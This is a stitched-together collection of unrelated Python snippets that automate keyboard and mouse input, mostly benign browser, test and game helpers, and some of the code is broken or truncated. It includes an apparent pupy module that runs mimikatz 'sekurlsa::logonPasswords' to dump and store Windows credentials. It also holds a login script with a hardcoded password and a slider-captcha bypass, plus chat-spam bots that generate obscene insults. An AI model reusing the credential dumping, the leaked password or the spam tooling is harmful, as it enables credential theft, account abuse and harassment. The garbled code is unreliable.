def on_End_analog(): logging.info(30*'_' + " on_End_analog") k = PyKeyboard() #抬起功能按键Ctrl,否则End效果会变为Ctrl+End效果 k.release_key(k.control_key) k.tap_key(k.end_key) return False
def searchQuestion(text, questionHeight): m = PyMouse() k = PyKeyboard() m.move(2500, 100) m.click(2500, 100) m.click(2500, 100) m.click(2500, 100) k.type_string(text) k.tap_key(k.return_key) k.tap_key(k.return_key) #Delay is needed otherwise question doesn't get searched time.sleep(.5) m.move(2866, 100) m.click(2866, 100) time.sleep(.4) m.move(2834, 188) m.click(2834, 188) k.press_key(k.control_key) k.tap_key('a') k.release_key(k.control_key) k.type_string(retrieveOptions(questionHeight)) #Delay is needed otherwise question doesn't get searched time.sleep(.3) m.move(2361, 1058) m.click(2361, 1058)
def xx(): br = webdriver.Chrome(r"D:/迅雷下载/chromedriver_win32/chromedriver.exe") br.implicitly_wait(30) # 设置浏览器最大化 br.maximize_window() br.get('http://www.baidu.com') m = PyMouse() kb = PyKeyboard() time.sleep(3) m.click(650, 358, 1) # kb.press_key(kb.control_key) # kb.press_key(kb.shift_key) # kb.release_key(kb.control_key) # kb.release_key(kb.shift_key) kb.type_string("test") kb.press_key(kb.enter_key) kb.release_key(kb.enter_key) time.sleep(5) m.click(763, 143, 1) time.sleep(10) # 获取当前坐标的位置 tt = m.position() print(tt)
class AutomaticScolder(): def __init__(self): self.m = PyMouse() self.k = PyKeyboard() self.words = { 'name':[], 'location':["厕所里","宿舍里","房顶上","草坪上","树上","草丛里","操场上","教室里"], 'verb':["吃","喝","玩","摸","拿","踢","举起","放下"], 'noun':["屎","尿","鸡巴","屁眼","头","大屌","逼"] } def buildUpSentence(self): word_list = [] # Be used to temporary store words for one sentence. for v in self.words.values(): word_list.append(random.choice(v)) # random choice a word from the words dic and append into word list. return "{0}在{1}{2}{3}".format(word_list[0], word_list[1], word_list[2], word_list[3]) # return the sentence be formated. def sendSentence(self): pyperclip.copy(self.buildUpSentence()) self.k.press_key(self.k.control_key) self.k.tap_key('V') time.sleep(0.1) self.k.release_key(self.k.control_key) time.sleep(0.1) self.k.tap_key(self.k.enter_key)
def ExitExec(stopped2): stopped3 = stopped2 if stopped3 == 0: SetCanSubmit(False) SetStopped(2) sys.stdout = open(os.devnull, 'w') if platform.system() == "Windows": keyboard = Controller() keyboard.press(Key.enter) elif platform.system() == "Linux": k = PyKeyboard() k.tap_key(k.enter_key) else: keyb.press_and_release('enter') sys.stdout.close() sys.stdout = originalStdout print("") SetCanSubmit(True) elif stopped2 == 2: if platform.system() == "Windows": shell = win32com.client.Dispatch("WScript.Shell") time.sleep(0.5) shell.SendKeys('%{F4}') sys.stdout = open(os.devnull, 'w') elif platform.system() == "Linux": k = PyKeyboard() k.press_key(k.control_key) k.tap_key('q') k.release_key(k.control_key) sys.stdout = open(os.devnull, 'w') else: keyb.press_and_release('cmd+w') sys.stdout = open(os.devnull, 'w')
def sendMessage(message): if Var.locked: return if not (type(message) is str): try: message = str(message) except Exception: pass try: message = message.encode('ascii', 'ignore') except Exception: message = message.encode('utf-8', 'ignore') Var.locked = True k = PyKeyboard() try: k.type_string(message) except Exception: k.press_key(k.control_l_key) k.tap_key('A') k.release_key(k.control_l_key) k.tap_key(k.backspace_key) k.type_string("Message Contains Unknown Characters") k.tap_key(k.enter_key) Var.locked = False
def upload_suning_product_image_no_size(self, browser, add_color, upload_image_seconds): ''' 上传苏宁商品照片, 没有size的情况 ''' for color, image_path in add_color.items(): pyk = PyKeyboard() css_selector = "tr[key='" + color + "']>td.colortd>div.colorbox>div.lcolor>a.colorup>a" ele = browser.find_element_by_css_selector(css_selector) ele.location_once_scrolled_into_view #ele.click() browser.execute_script("arguments[0].click();", ele) time.sleep(2) pyk.type_string(image_path) time.sleep(int(upload_image_seconds)) try: pyk.tap_key(pyk.enter_key) except: pyk.press_key(pyk.alt_key) pyk.tap_key(pyk.function_keys[4]) pyk.release_key(pyk.alt_key) upload_suning_product_image(self, browser, add_color, size) print("颜色:" + color + "照片: " + image_path + " 上传失败") print("重新开始上传...") time.sleep(seconds) print("颜色:" + color + "照片: " + image_path + " 上传成功") return
def previous_focus(): print('*_* next_focus') k = PyKeyboard() k.press_key(k.shift_key) k.tap_key(k.tab_key) k.release_key(k.shift_key)
def Ctrl_s(url): browser = webdriver.Firefox() browser.maximize_window()#打开火狐窗口 browser.get(url) time.sleep(2)#给予充足的打开页面网络延迟时间 m = PyMouse() # 创建鼠标对象 k = PyKeyboard() # 创建键盘对象 k.press_key(k.control_key) k.tap_key('s') k.release_key(k.control_key) time.sleep(2)#否则会同时进行,Ctrl+s打开窗口时间没有点击和打字快 # time.sleep(4)#给与时间移动鼠标到地址栏,然后输出鼠标位置 (307, 46),(599, 449) # print(m.position()) m.click(307, 46 ,1) time.sleep(1) k.type_string('F:/blog') time.sleep(1) k.press_key(k.enter_key) time.sleep(0.1) k.press_key(k.enter_key) time.sleep(2) m.click(599,449, 1) k.press_key(k.enter_key) time.sleep(3) browser.close()
class Robot(object): def __init__(self): self.mouse = PyMouse() self.keyboard = PyKeyboard() self.przyciskPSP2klawiatura = {'up': 'w', 'right': 'd', 'down': 's', 'left': 'a', 'triangle': self.keyboard.enter_key, 'circle': 'f', 'cross': 'g', 'square': 'h', 'l': self.keyboard.control_r_key, 'r': self.keyboard.shift_r_key, 'start': 'k', 'select': 'l'} def reaguj(self, x, y, przyciskPSP2Stan): self.reaguj_mysz(x, y) self.reaguj_klawiatura(przyciskPSP2Stan) def reaguj_mysz(self, x, y): max_predkosc_kursora = 0.00000000000000000000000000000000000000000000000000001 x += int((x / float(128)) * max_predkosc_kursora + self.mouse.position()[0]) y += int((y / float(128)) * max_predkosc_kursora + self.mouse.position()[1]) x, y = min(self.mouse.screen_size()[0], x), min( self.mouse.screen_size()[1], y) x, y = max(0, x), max(0, y) self.mouse.move(x, y) def reaguj_klawiatura(self, przyciskPSP2Stan): for przycisk_psp, czyWcisniety in przyciskPSP2Stan.iteritems(): przycisk_klawiaturowy = self.przyciskPSP2klawiatura[przycisk_psp] if czyWcisniety == '1': if przycisk_klawiaturowy == 'g': self.mouse.click(*self.mouse.position()) break self.keyboard.press_key(przycisk_klawiaturowy) else: self.keyboard.release_key(przycisk_klawiaturowy)
def on_End_combo(): logging.info(30*'_' + " on_End_combo") k = PyKeyboard() #抬起功能按键Ctrl,否则End效果会变为Ctrl+End效果 k.release_key(k.control_key) k.press_keys([k.end_key, ';', k.enter_key]) return False
def autoPaste(): time.sleep(0.5) k = PyKeyboard() k.press_key(k.control_key) k.tap_key('v') k.release_key(k.control_key) k.tap_key(k.enter_key)
def key_combo(key0, key1): k = PyKeyboard() if key0 == 'ctrl': key0 = k.control_key k.press_key(key0) k.tap_key(key1) k.release_key(key0)
class HIDremServerProtocol(com.LengthPrefixedReceiver): """The communication protocol.""" def setup(self): self.k = PyKeyboard() self.m = PyMouse() def got_message(self, msg): """called when a message was received.""" if not msg: return idb, msg = msg[0], msg[1:] if idb == common.ID_PING: # echo message self.send_message(idb + msg) elif idb == common.ID_KEYBOARD: action, keyname = msg[0], msg[1:] if action == common.ACTION_PRESS: self.k.press_key(keyname) elif action == common.ACTION_RELEASE: self.k.release_key(keyname) else: # protocol violation self.close() elif idb == common.ID_MOUSE: pass else: # protocol violation self.close()
def keyinput(): k = PyKeyboard() print('key down') k.press_key(' ') time.sleep(0.10) k.release_key(' ') print('key up')
class MessageSender(): def __init__(self, document_path, sending_rate): self.sending_rate = sending_rate self.kbr = PyKeyboard() self.mus = PyMouse() self.sentences, self.lenth = self.prepSentence(document_path) def prepSentence(self, path): # read a TXT file and store every lines in a list sentences = [] for line in open(path, encoding='UTF-8'): sentences.append(line) return (sentences, len(sentences)) def sendMessage(self, index): # 'copy' a sentence to clipboard pyperclip.copy(self.sentences[index]) # press 'control + v' then press 'enter' to send self.kbr.press_key(self.kbr.control_key) time.sleep(0.1) self.kbr.tap_key('V') self.kbr.release_key(self.kbr.control_key) self.kbr.tap_key(self.kbr.enter_key) # sleep random seconds(depend on the --time argument) before send next sentence time.sleep( random.randint(int(self.sending_rate[0]), int(self.sending_rate[1])))
def crnWriter(crns): """crnWriter Args: crns: array of CRNs to be entered Returns: """ #Hack to make input work for both Python 2 and Python 3 try: input = raw_input except NameError: pass k = PyKeyboard() k.press_key(k.alt_key) time.sleep(0.20) k.tap_key(k.tab_key) time.sleep(0.20) k.tap_key(k.tab_key) time.sleep(0.20) k.release_key(k.alt_key) time.sleep(0.20) for x in crns: time.sleep(0.20) k.type_string(x) k.tap_key(k.tab_key)
def test_changetime_ui(self): #close auto-sync self.td.SetNTP(0) k = PyKeyboard() m = PyMouse() c_hour = strftime('%H', localtime()) new_hour = int(c_hour) + 1 self.dcc.showModule('datetime') self.dcc.dccObj.child('Time Settings', roleName='frame').click() time.sleep(1) k.press_key('Tab') k.release_key('Tab') time.sleep(1) k.type_string(str(new_hour)) time.sleep(1) (x, y) = m.position() print(x + 95, y + 69) m.click(x + 95, y + 69) time.sleep(2) changed_hour = strftime('%H', localtime()) print(new_hour, changed_hour) self.assertTrue(int(new_hour) == int(changed_hour)) self.dcc.page_deep += 2 self.dcc.backToIndex()
def change_window_start(): print('*_* change_window_start') k = PyKeyboard() k.release_key(k.alt_key) k.press_key(k.alt_key) k.tap_key(k.tab_key)
def mouse_event(event): k = PyKeyboard() if event.MessageName == 'mouse left down': global time1 time1 = time.time() if event.MessageName == 'mouse left up': global time2 time2 = time.time() if time2 - time1 > 0.2: global current print "yhx" current = 1 k.press_key(k.control_key) k.tap_key(67) k.release_key(k.control_key) k.press_key(k.control_key) k.tap_key(67) k.release_key(k.control_key) # c = Timer(0.5,getCopyText) # c.start() print "yhx1" return True return True return True
class InputController: def __init__(self, game_window_id=None): self.game_window_id = game_window_id self.keyboard = PyKeyboard() self.mouse = PyMouse() @property def game_is_focused(self): focused_window_id = subprocess.check_output( shlex.split("xdotool getwindowfocus")).decode("utf-8").strip() return focused_window_id == self.game_window_id def tap_key(self, key, duration=0.05): if self.game_is_focused: self.keyboard.press_key(key) time.sleep(duration) self.keyboard.release_key(key) def press_key(self, key): if self.game_is_focused: self.keyboard.press_key(key) def release_key(self, key): if self.game_is_focused: self.keyboard.release_key(key)
class Probe: def __init__(self): self.k = PyKeyboard() def press(self, key): self.k.press_key(key) time.sleep(0.05) self.k.release_key(key) def screenshot(self): self.press('c') def gray(self): self.press('e') def global_gt(self): self.press('g') def depth(self): self.press('t') def surface_normal(self): self.press('r') def unlit(self): self.press('b') def global_step(self, num_pad_key=None, interval=0.08, step_size=0): self.k.tap_key(self.k.numpad_keys[num_pad_key], n=step_size, interval=interval) def takepics(self): self.screenshot() time.sleep(0.05) self.gray() time.sleep(0.1) self.screenshot() self.gray() self.global_gt() # global gt time.sleep(0.2) self.screenshot() self.global_gt() self.depth() # depth time.sleep(0.05) self.screenshot() self.depth() self.surface_normal() time.sleep(0.1) self.screenshot() self.surface_normal() self.unlit() time.sleep(0.05) self.screenshot() self.unlit()
def close_tab(): print('*_* new_tab') k = PyKeyboard() k.release_key(k.control_l_key) k.press_key(k.control_l_key) k.tap_key(k.function_keys[4])F k.release_key(k.control_l_key)
def switchFocus(n=1, sleepTime=0.1): """ Performs alt tab, can skip n-1 applications """ k = PyKeyboard() k.press_key(k.alt_key) time.sleep(sleepTime) for i in range(n): k.tap_key(k.tab_key) time.sleep(sleepTime) k.release_key(k.alt_key)
class EasyMonkey: def __init__(self): self.mouse = PyMouse() self.keyboard = PyKeyboard() self.sleep = 0.5 time.sleep(1) # 模拟鼠标左键单击 def left_click(self, x, y): self.mouse.move(x, y) self.mouse.click(x, y) print("在(%s,%s)位置进行了鼠标左键单击操作" % (x, y)) time.sleep(self.sleep) return x, y # 模拟鼠标左键双击 def left_doubleclick(self, x, y): self.mouse.move(x, y) self.mouse.click(x, y, button=1, n=2) print("在(%s,%s)位置进行了鼠标左键双击操作" % (x, y)) time.sleep(self.sleep) return x, y # 模拟鼠标右键单击 def right_click(self, x, y): self.mouse.move(x, y) self.mouse.click(x, y, button=2, n=1) print("在(%s,%s)位置进行了鼠标右键单击操作" % (x, y)) self.mouse.click(x, y, button=1, n=1) time.sleep(self.sleep) return x, y # 模拟使用键盘随机按键 def enter_key(self, x, y): self.mouse.move(x, y) keys = [ "a", "b", self.keyboard.numpad_keys[2], self.keyboard.numpad_keys[4] ] index = random.randint(0, (len(keys) - 1)) key = keys[index] self.keyboard.press_key(key) self.keyboard.release_key(key) print("在(%s,%s)位置进行了键盘随机按键操作" % (x, y)) time.sleep(self.sleep) return x, y # 模拟使用键盘产生随机输入 def input_key(self, x, y): self.mouse.move(x, y) strs = ["123", "456"] index = random.randint(0, (len(strs) - 1)) str0 = strs[index] self.keyboard.type_string(str0) print("在(%s,%s)位置进行了键盘产生随机输入操作" % (x, y)) time.sleep(self.sleep) return x, y
def desktop_by_number(inp): # switches desktop on mac inp = tp.breakOuter() if self.booltesting: if not inp.isdigit() or len(inp) != 1: raise RuntimeError("invald direction") kb = PyKeyboard() kb.press_key('control') kb.tap_key(inp) kb.release_key('control')
def new_tab(): print('*_* new_tab') k = PyKeyboard() k.release_key(k.control_l_key) k.press_key(k.control_l_key) k.tap_key('t') k.release_key(k.control_l_key)
def webbrowser_login(self, q): m = PyMouse() k = PyKeyboard() with open('browser_setting.txt') as b: bro = b.readlines() for index, i in enumerate(bro): bro_name, browser = i.strip().split(',', 1) # 浏览器地址 chromepath = browser web.register(bro_name, None, web.BackgroundBrowser(chromepath)) url = 'http://sem.taobao.com/login.html' web.get(bro_name).open(url, new=1) time.sleep(5) k.tap_key(k.right_key) k.tap_key(k.enter_key) time.sleep(1) # 读取用户名和密码 with open('name_pwd.txt', encoding='utf8') as f: n_p = f.readlines() name_pwd = n_p[index].split(',') username = name_pwd[0] password = name_pwd[1] pyperclip.copy(username) # 复制用户名 m.click(900, 285) time.sleep(1) # 组合键-复制粘贴 k.press_key(k.control_key) # 按住alt键 k.tap_key('v') # 点击v建 k.release_key(k.control_key) # 松开alt键 time.sleep(1) k.tap_key(k.tab_key) pyperclip.copy(password) time.sleep(1) # 组合键-粘贴 k.press_key(k.control_key) # 按住alt键 k.tap_key('v') k.release_key(k.control_key) # 松开alt键 time.sleep(1) k.tap_key(k.enter_key) time.sleep(5) message = q.get() print(message) if '抓包完成' == message: # 解析包 self.parse_pcap()
def previousPage(): from pykeyboard import PyKeyboard import time k = PyKeyboard() time.sleep(0.1) k.press_key(k.left_key) time.sleep(0.05) k.release_key(k.left_key)
def next_tab(): print('*_* next_tab') k = PyKeyboard() k.press_key(k.control_l_key) # k.press_key(k.shift_key) k.tap_key(k.tab_key) k.release_key(k.control_l_key)
def capture(url, save_fn="capture.png"): mouse = PyMouse() keyboard = PyKeyboard() browser = webdriver.Firefox(executable_path='/home/wws/Soft/geckodriver' ) # Get local session of firefox browser.set_window_size(1900, 900) browser.get(url) mouse.click(300, 250) # Load page # browser.execute_script(""" # (function () { # var y = 0; # var step = 100; # window.scroll(0, 0); # # function f() { # if (y < document.body.scrollHeight) { # y += step; # window.scroll(0, y); # setTimeout(f, 50); # } else { # window.scroll(0, 0); # document.title += "scroll-done"; # } # } # # setTimeout(f, 1000); # })(); # """) # browser.execute_script() # browser.save_screenshot('first.png') keyboard.press_keys([keyboard.shift_key, 'F2']) # keyboard.release_keys(["Shift","F2"]) # png = base64.b64decode(browser.execute('screenshot --fullpage')['value'].encode('ascii')) # with open('first1.png', 'wb') as f: # f.write(png) # # browser.execute("screenshot") # # keyboard.press_key(keyboard.page_down_key) # keyboard.release_key(keyboard.page_down_key) # time.sleep(1) # browser.save_screenshot('second.png') # browser.close() time.sleep(1) keyboard.type_string( "screenshot --fullpage /home/wws/workspace/git/SPIDER/Crawler-master/amazon/fullpage.png" ) keyboard.press_key(keyboard.enter_key) keyboard.release_key(keyboard.enter_key) time.sleep(1)
def auto_submit_and_shutdown(result_name, submit_time, sleep_time=600, shutdown_flag=False): while (True): if (submit_time == time.strftime('%H:%M')): browser = webdriver.Firefox() browser.maximize_window() browser.get( 'https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Ftianchi.shuju.aliyun.com%2Fcompetition%2Finformation.htm%3Fspm%3D5176.100069.5678.2.Jypv0M%26raceId%3D231591%26_is_login_redirect%3Dtrue%26_is_login_redirect%3Dtrue' ) browser.switch_to_frame('alibaba-login-box') element = browser.find_element_by_id('J_Quick2Static') time.sleep(4.3) element.click() #选择账号密码登录 mouse = PyMouse() keyboard = PyKeyboard() mouse.click(1200, 410) #选中账号框格 keyboard.type_string('hipton') time.sleep(5.2) keyboard.type_string('ese') mouse.click(1200, 480) keyboard.type_string('2008723lgy') time.sleep(3.2) mouse.press(1140, 570) #拖动滑块 time.sleep(0.04) mouse.move(1200, 560) time.sleep(0.03) mouse.move(1280, 575) time.sleep(0.06) mouse.move(1400, 587) time.sleep(0.13) mouse.release(1400, 590) time.sleep(1.3) browser.find_element_by_id("login-submit").click() time.sleep(sleep_time) #给手机验证者预留的时间 mouse.click(400, 630) #选择提交结果 time.sleep(2.3) mouse.click(800, 490) #选中提交窗口 time.sleep(2.5) keyboard.type_string('G:\\tc_koubei_newBird\\dyy\\results\\' + result_name + '.csv') time.sleep(1) keyboard.press_key('\n') time.sleep(1) keyboard.release_key('\n') time.sleep(2) if (shutdown_flag): shutdown(1) break
def keyboard(event): if event.KeyID == 27: key = PyKeyboard() print "key1" key.press_key(162) # ctrl key.press_key(67) # c key.release_key(67) # c key.release_key(162) # ctrl print "key2" print event.KeyID return True
def run(self, args): # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz. if args.wdigest: ok, message = self.client.conn.modules["pupwinutils.wdigest"].wdigest(args.wdigest) if ok: self.success(message) else: self.warning(str(message)) return proc_arch = self.client.desc["proc_arch"] mimikatz_path = None output = '' if "64" in proc_arch: mimikatz_path = self.client.pupsrv.config.get("mimikatz","exe_x64") else: mimikatz_path = self.client.pupsrv.config.get("mimikatz","exe_Win32") if not os.path.isfile(mimikatz_path): self.error("Mimikatz exe %s not found ! please edit Mimikatz section in pupy.conf"%mimikatz_path) else: mimikatz_args = args.args interactive = False if not mimikatz_args: interactive = True else: mimikatz_args.append('exit') if args.logonPasswords: mimikatz_args = ['privilege::debug', 'sekurlsa::logonPasswords', 'exit'] interactive = True output = exec_pe(self, mimikatz_args, path=mimikatz_path, interactive=interactive) try: from pykeyboard import PyKeyboard k = PyKeyboard() k.press_key(k.enter_key) k.release_key(k.enter_key) except: pass # store credentials into the database if output: try: creds = self.parse_mimikatz(output) db = Credentials(client=self.client.short_name(), config=self.config) db.add(creds) self.success("Credentials stored on the database") except: self.error('No credentials stored in the database')
def nextpage(): from pykeyboard import PyKeyboard import time k = PyKeyboard() time.sleep(0.1) # To Create an Alt+Tab combo #k.press_key(k.alt_key) k.press_key(k.next_key) time.sleep(0.05) k.release_key(k.next_key)
def previous_tab(): print('*_* previous_tab') k = PyKeyboard() k.press_key(k.control_l_key) k.press_key(k.shift_key) k.tap_key(k.tab_key) k.release_key(k.control_l_key) k.release_key(k.shift_key)
def terminate_deepinscreenshot(self): p = PyKeyboard() p.press_key('Return') p.release_key('Return') time_now = time.strftime('%Y%m%d%H%M%S', time.localtime()) picture_save_path = os.path.expandvars( '$HOME') + '/Desktop/' + '深度截图' + time_now + '.png' print(picture_save_path) time.sleep(2) save_bool = os.path.exists(picture_save_path) print(save_bool) self.assertTrue(save_bool)
def fullscreen(): from pymouse import PyMouse from pykeyboard import PyKeyboard m = PyMouse() k = PyKeyboard() x_dim, y_dim = m.screen_size() m.click(int(x_dim / 3), int(y_dim / 2), 1) k.press_key(k.control_key) k.tap_key(k.function_keys[11]) k.release_key(k.control_key)
def linux_fullscreen(): """A helper for entering Full Screen mode in Linux. Faking a mouse click and a key press (Ctrl+F11). """ from pymouse import PyMouse from pykeyboard import PyKeyboard m = PyMouse() k = PyKeyboard() x_dim, y_dim = m.screen_size() m.click(int(x_dim/3), int(y_dim/2), 1) k.press_key(k.control_key) k.tap_key(k.function_keys[11]) k.release_key(k.control_key)
def faceTracker(): k = PyKeyboard() faceCascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') video_capture = cv2.VideoCapture(0) centerX = 0; while True: # Capture frame-by-frame ret, frame = video_capture.read() gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) faces = faceCascade.detectMultiScale( gray, scaleFactor=1.1, minNeighbors=5, minSize=(150, 150), ) #Draw a rectangle around the faces #for (x, y, w, h) in faces: # cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2) if len(faces) >= 1: (x,y,w,h) = faces[0] cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2) centerNew = x + w/2 if centerNew < centerX - 10: #print "left" k.press_key('A') time.sleep(.2) k.release_key('A') if centerNew > centerX + 10: #print "right" k.press_key('D') time.sleep(.2) k.release_key('D') centerX = centerNew # Display the resulting frame #cv2.imshow('Video', frame) if cv2.waitKey(1) & 0xFF == ord('q'): break # When everything is done, release the capture video_capture.release() cv2.destroyAllWindows()
def process_message(in_msg, midi_to_shortcut): """ processes message """ keyboard = PyKeyboard() print(in_msg) try: if (in_msg.note, in_msg.channel) in midi_to_shortcut and in_msg.type != 'note_off': shortcut = midi_to_shortcut[(in_msg.note, in_msg.channel)] print('shortcut: ', shortcut) for key in shortcut: keyboard.press_key(key) for key in shortcut: keyboard.release_key(key) except OSError: print('note not recognized')
def type_unicode(symbol): k = PyKeyboard() hexval = symbol.encode("unicode_escape") print hexval if hexval[:2] == '\u': # if the value is a hex number k.press_key('Control_L') # press the control k.press_key('Shift_L') # the left shift k.tap_key('u') # and the u key k.release_key('Control_L') # release the control k.release_key('Shift_L') # and shift keys hexval = hexval[2:] # remove the unicode escape character k.type_string(hexval) # type the unicode string k.tap_key('Return') # tap the return key else: # if the given string isnt a unicode character k.type_string(hexval) # just type the string
class ScreenSaverPreventer(QtGui.QWidget): def __init__(self): QtGui.QWidget.__init__(self) self.key = PyKeyboard() def doSomething(self): self.key.press_key(self.key.control_l_key) self.key.release_key(self.key.control_l_key) def run(self): self.timer = QtCore.QTimer(self) self.timer.timeout.connect(self.doSomething) self.timer.start(59000) # 59 sec def stop(self): self.timer.stop()
def runScript(delay, SCRIPT_PATH, SCRIPT_NAME): screen = wnck.screen_get(0) #screen = wnck.screen_get_default() while gtk.events_pending(): gtk.main_iteration() windowTitle = re.compile('.*Board.*') for window in screen.get_windows(): if windowTitle.match(window.get_name()): window.activate(int(time.time())) window.maximize() #MOUSE CLICK TO ACTUALLY FOCUS EAGLE BOARD m = PyMouse() x, y = m.screen_size() #m.click(x/4, y/4, 1) #KEYBOARD INPUT k = PyKeyboard() caps_flag = 0 if int(commands.getoutput('xset q | grep LED')[65]) % 2: k.tap_key(k.caps_lock_key) caps_flag = 1 #BRING UP ALT-FILE MENU k.press_key(k.alt_key) k.type_string('f') k.release_key(k.alt_key) #PRESS T TO RUN SCRIPT FROM ALT-FILE MENUs k.type_string('t') time.sleep(delay) #TYPE IN SCRIPT NAME TO DIALOG BOX k.type_string(SCRIPT_PATH + SCRIPT_NAME) time.sleep(delay) time.sleep(delay) k.tap_key(k.enter_key) if caps_flag: k.tap_key(k.caps_lock_key)
def parse_scancode(self, scancode, action): global modkey if scancode in scancode_translation_table: keyname = scancode_translation_table[scancode] elif scancode in mod_key_name_table: keyname = mod_key_name_table[scancode] k=PyKeyboard() if action=="ANPrs": if scancode in mod_key_table and modkey == 0: modkey=mod_key_table[scancode] keycombo.append(scancode) elif scancode in scancode_translation_table and modkey !=0: keycombo.append(scancode) elif scancode in scancode_translation_table and modkey == 0: k.press_key(keyname) print str(scancode) + "_" + str(action) + str(modkey) + "\n" sender.put_nowait(str(scancode) + "_" + str(action) + str(modkey) + "\n") if action=="ANRls" and modkey==0: print str(scancode) + "_" + str(action) + "0\n" sender.put_nowait(str(scancode) + "_" + str(action) + "0\n") k.release_key(keyname) if action=="ANTRls": modkey=0 print "running list..." + str(keycombo) for x in keycombo: try: if x in scancode_translation_table: keyname = scancode_translation_table[x] print "AN key..." + str(keyname) elif x in mod_key_name_table: keyname = mod_key_name_table[x] print "ModKey..." + str(keyname) print str(x) + "_" + str(action) + "0\n" sender.put_nowait(str(x) + "_" + str(action) + "0\n") k.release_key(keyname) except: print "keycombo = " + str(keycombo) for x in keycombo: keycombo.remove(x)
def ReadTestCaseFile(testcasefile): outputfilename = "test_result.txt" m = PyMouse() k = PyKeyboard() resultfile = open(outputfilename,'a+') resultfile.write(testcasefile + "\n") resultfile.close() with open(testcasefile) as f: for line in f: if len(line) < 3: continue if line[-1] == '\n': line = line[:-1] if line[-1] == '\r': line = line[:-1] timedefault = 1 arr = line.split(",") casename = arr[0] action = arr[1] arrlen = len(arr) if arrlen == 3: param3 = arr[2] if param3.isdigit() == True: timedefault = int(param3) print("set new timer:",str(timedefault)) res = doactions(casename,action) print(casename," result:",res) resultfile = open(outputfilename,'a+') resultfile.write(casename + " result:" + str(res) + "\n") resultfile.close() time.sleep(timedefault) k.press_key(k.right_key) k.release_key(k.right_key) time.sleep(1)
def runScript(delay, SCRIPT_NAME): #screen = wnck.screen_get_default() screen = wnck.screen_get(0) while gtk.events_pending(): gtk.main_iteration() windowTitle = re.compile('.*Board.*') for window in screen.get_windows(): if windowTitle.match(window.get_name()): window.activate(int(time.time())) window.maximize() #MOUSE CLICK TO ACTUALLY FOCUS EAGLE BOARD m = PyMouse() x, y = m.screen_size() #m.click(x/4, y/4, 1) #KEYBOARD INPUT k = PyKeyboard() #BRING UP ALT-FILE MENU k.press_key(k.alt_key) k.type_string('f') k.release_key(k.alt_key) #PRESS T TO RUN SCRIPT FROM ALT-FILE MENU k.type_string('t') time.sleep(delay) #TYPE IN SCRIPT NAME TO DIALOG BOX k.type_string('/home/anton/Documents/st/st-py/' + SCRIPT_NAME) time.sleep(delay) time.sleep(delay) k.tap_key(k.enter_key)
def buy_timer(): """Upgrade the current hero and re-schedule self""" log.info("buy timer ticking") search_hero(LILIN) if COORDINATES.get("hero"): if button_is_active(*COORDINATES["hero"]): target = COORDINATES["hero"] else: log.debug("Not buying, not enough money") target = [0, 0] else: target = get_best_hero() if all(target): kbd = PyKeyboard() kbd.press_key("q") do_buy(target) kbd.release_key("q") if active(): timers["buy"] = Timer(BUY_PERIOD, buy_timer) timers["buy"].start()
def faceManager(threadName, delay): global isTalking k = PyKeyboard() isPressing = False #Presses and holds 'B' key to move mouth while True: for waitInd in range(235): if waitInd == 2 and not isTalking: # Do random action newKey = doRandom() k.press_key(newKey) time.sleep(.1) k.release_key(newKey) k.press_key(newKey) time.sleep(.1) k.release_key(newKey) time.sleep(3) # start blinking again k.press_key('K') time.sleep(.1) k.release_key('K') if isTalking: if not isPressing: k.press_key('B') isPressing = True else: if isPressing: k.release_key('B') isPressing = False # start blinking again k.press_key('K') time.sleep(.1) k.release_key('K') time.sleep(.1)
m=PyMouse() browser = webdriver.Firefox() # Opening Firefox with its Homepage browser.maximize_window() browser.get('http://www.fakemailgenerator.com/#/superrito.com/monkeydluffy13/') # Open the fake mail generator in TAB1 time.sleep(2) k.press_key(k.control_key) k.tap_key('t') k.release_key(k.control_key) # Getting an element where Keys can be passed # Opening a NEW TAB browser.get('http://hck.re/qcKgO4') m.click(598L,798L,1,1) k.type_string('*****@*****.**') k.tap_key(k.return_key)
while 1: data = ser.read() if data == 'd': print('BUTTON') k.press_key('d') if data == 'a': print('BUTTON') k.press_key('a') if data == 'w': print('BUTTON') k.press_key('w') if data == 's': print('BUTTON') k.press_key('s') if data == 'z': k.release_key('a') if data == 'x': k.release_key('w') if data == 'c': k.release_key('d') if data == 'v': k.release_key('s') if data == '1': k.press_key('p') if data == '2': k.release_key('p')
class ControlMainClass(): def __init__(self): self.osName = platform.system() self.pcName = os.environ['computername'] self.screenSize = pyautogui.size() print "Operation system is: ", self.osName print "PC name is: ", self.pcName self.mouseMap = ['left', 'middle', 'right'] self.controller = pyautogui self.pyMouse = PyMouse() self.pyKeyboard = PyKeyboard() self.keyboardMap = {} self.initKeyboardMap() def __del__(self): pass def initKeyboardMap(self): self.keyboardMap[3] = ' ' self.keyboardMap[10] = '\'' self.keyboardMap[15] = ',' self.keyboardMap[16] = '-' self.keyboardMap[17] = '.' self.keyboardMap[18] = '/' self.keyboardMap[19] = '0' self.keyboardMap[20] = '1' self.keyboardMap[21] = '2' self.keyboardMap[22] = '3' self.keyboardMap[23] = '4' self.keyboardMap[24] = '5' self.keyboardMap[25] = '6' self.keyboardMap[26] = '7' self.keyboardMap[27] = '8' self.keyboardMap[28] = '9' self.keyboardMap[30] = ';' self.keyboardMap[32] = '=' self.keyboardMap[36] = '[' self.keyboardMap[37] = '\\' self.keyboardMap[38] = ']' self.keyboardMap[41] = '`' self.keyboardMap[42] = 'a' self.keyboardMap[43] = 'b' self.keyboardMap[44] = 'c' self.keyboardMap[45] = 'd' self.keyboardMap[46] = 'e' self.keyboardMap[47] = 'f' self.keyboardMap[48] = 'g' self.keyboardMap[49] = 'h' self.keyboardMap[50] = 'i' self.keyboardMap[51] = 'j' self.keyboardMap[52] = 'k' self.keyboardMap[53] = 'l' self.keyboardMap[54] = 'm' self.keyboardMap[55] = 'n' self.keyboardMap[56] = 'o' self.keyboardMap[57] = 'p' self.keyboardMap[58] = 'q' self.keyboardMap[59] = 'r' self.keyboardMap[60] = 's' self.keyboardMap[61] = 't' self.keyboardMap[62] = 'u' self.keyboardMap[63] = 'v' self.keyboardMap[64] = 'w' self.keyboardMap[65] = 'x' self.keyboardMap[66] = 'y' self.keyboardMap[67] = 'z' self.keyboardMap[75] = self.pyKeyboard.alt_l_key 